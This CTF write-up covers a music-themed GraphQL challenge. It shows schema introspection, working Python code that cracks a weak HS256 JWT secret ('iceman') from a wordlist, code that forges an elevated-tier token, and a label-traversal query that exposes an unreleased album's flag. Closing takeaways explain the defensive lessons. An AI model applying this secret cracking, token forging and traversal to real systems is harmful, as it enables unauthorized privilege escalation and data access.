Flag: dalctf2026{open-ticket-send-me-ur-fav-song-in-album6}
Category: Web / GraphQL / JWT
Overview
A music-themed GraphQL API protected by JWT-based tier access control. The goal was to escalate from a fan tier account to OVO membership in order to read the vaultManifest field on an unreleased album.
Step 1 - GraphQL Introspection
With introspection enabled on the target, the full schema was enumerated:
{ __schema { types { name fields { name } } } }
Discovered types: Query, Mutation, AuthPayload, User, Label, Artist, Album, Track
Key queries:
| Query | Notes |
|---|---|
| me | Returns current user's username and tier |
| releasedAlbums | Auth required |
| album(id) | Auth required |
| label(name) | Traverses label → artists → albums |
Key mutations: register(username, password), login(username, password)
Step 2 - Account Registration & JWT Analysis
Registering a test account:
mutation {
register(username: "test", password: "test") {
token
}
}
Returned JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJ0aWVyIjoiZmFuIn0.yICh79kEgP-iQoH8O6cGIoxyjgkGibVeZK8qxlg5lWs
Decoded payload:
{ "username": "test", "tier": "fan" }
Querying protected endpoints with this token returned:
"OVO membership required. Fan accounts do not have vault access."
This confirmed tier-based access control — tier: "OVO" was needed.
Step 3 - Attack Surface Assessment
alg:none bypass — attempted with multiple tier values (OVO, admin, premium). All rejected with "Authentication required." — the server enforces signature verification.
Register with tier argument — rejected:
Unknown argument 'tier' on field 'Mutation.register'
The only viable path: crack the HMAC secret and forge a valid signed token.
Step 4 - JWT Secret Cracking
Using Python's hmac + hashlib to test a CTF-themed wordlist against the original token's signature:
import hmac, hashlib, base64
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJ0aWVyIjoiZmFuIn0.yICh79kEgP-iQoH8O6cGIoxyjgkGibVeZK8qxlg5lWs"
header_payload = ".".join(token.split(".")[:2])
orig_sig = token.split(".")[2]
def b64url_decode(s):
s += "=" * (-len(s) % 4)
return base64.urlsafe_b64decode(s)
orig_sig_bytes = b64url_decode(orig_sig)
wordlist = ["OVO", "ovo", "secret", ..., "dalctf", "iceman", ...]
for word in wordlist:
sig = hmac.new(word.encode(), header_payload.encode(), hashlib.sha256).digest()
computed = base64.urlsafe_b64encode(sig).rstrip(b'=').decode()
if computed == orig_sig:
print(f"[+] SECRET FOUND: {word}")
break
Result:
[+] SECRET FOUND: iceman
The challenge name itself (iceman) was the JWT signing secret.
Step 5 - Forging an OVO-Tier Token
import hmac, hashlib, base64, json
SECRET = "iceman"
def b64url(data):
return base64.urlsafe_b64encode(
json.dumps(data, separators=(',',':')).encode()
).rstrip(b'=').decode()
header = b64url({"alg":"HS256","typ":"JWT"})
payload = b64url({"username":"test","tier":"OVO"})
sig = hmac.new(SECRET.encode(), f"{header}.{payload}".encode(), hashlib.sha256).digest()
token = f"{header}.{payload}.{base64.urlsafe_b64encode(sig).rstrip(b'=').decode()}"
print(token)
Forged token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJ0aWVyIjoiT1ZPIn0.k3GYap8NGpMaEsiaG36u85UuHUux5hJVXD5IxckrOjk
Verified with me query:
{ "me": { "username": "test", "tier": "OVO" } }
Step 6 - Accessing the Vault via Label Traversal
releasedAlbums only returned IDs 1 and 2, both with vaultManifest: null. Brute-forcing album IDs 0–20 directly also yielded nothing.
The key was traversing via the label relationship, which exposed unreleased albums not returned by releasedAlbums:
{
label(name: "OVO") {
name
artists {
name
albums {
id
title
status
vaultManifest
}
}
}
}
Response:
{
"label": {
"name": "OVO",
"artists": [{
"name": "Drake",
"albums": [
{ "id": "1", "status": "RELEASED", "title": "For All the Dogs", "vaultManifest": null },
{ "id": "2", "status": "RELEASED", "title": "Some Sexy Songs 4 U", "vaultManifest": null },
{ "id": "9", "status": "UNRELEASED", "title": "ICEMAN", "vaultManifest": "dalctf2026{open-ticket-send-me-ur-fav-song-in-album6}" }
]
}]
}
}
Flag
dalctf2026{open-ticket-send-me-ur-fav-song-in-album6}
Attack Chain Summary
Introspection → Enumerate schema
↓
Register → Get fan-tier JWT
↓
Identify tier-based access control
↓
alg:none rejected → must crack HMAC secret
↓
Crack secret: "iceman"
↓
Forge valid JWT with tier="OVO"
↓
label(name:"OVO") traversal → exposes UNRELEASED album id=9
↓
vaultManifest → FLAG
Key Takeaways
-
GraphQL introspection in production leaks the entire schema including sensitive field names like
vaultManifest. - Weak JWT secrets (especially ones matching the challenge/app name) are trivially crackable with a small wordlist.
-
Authorization logic gaps - the
label → artists → albumstraversal bypassed the access controls onreleasedAlbumsandalbum(id), exposing unreleased content. - IDOR via graph traversal - album ID 9 was invisible to direct queries but reachable through the label relationship.
Top comments (0)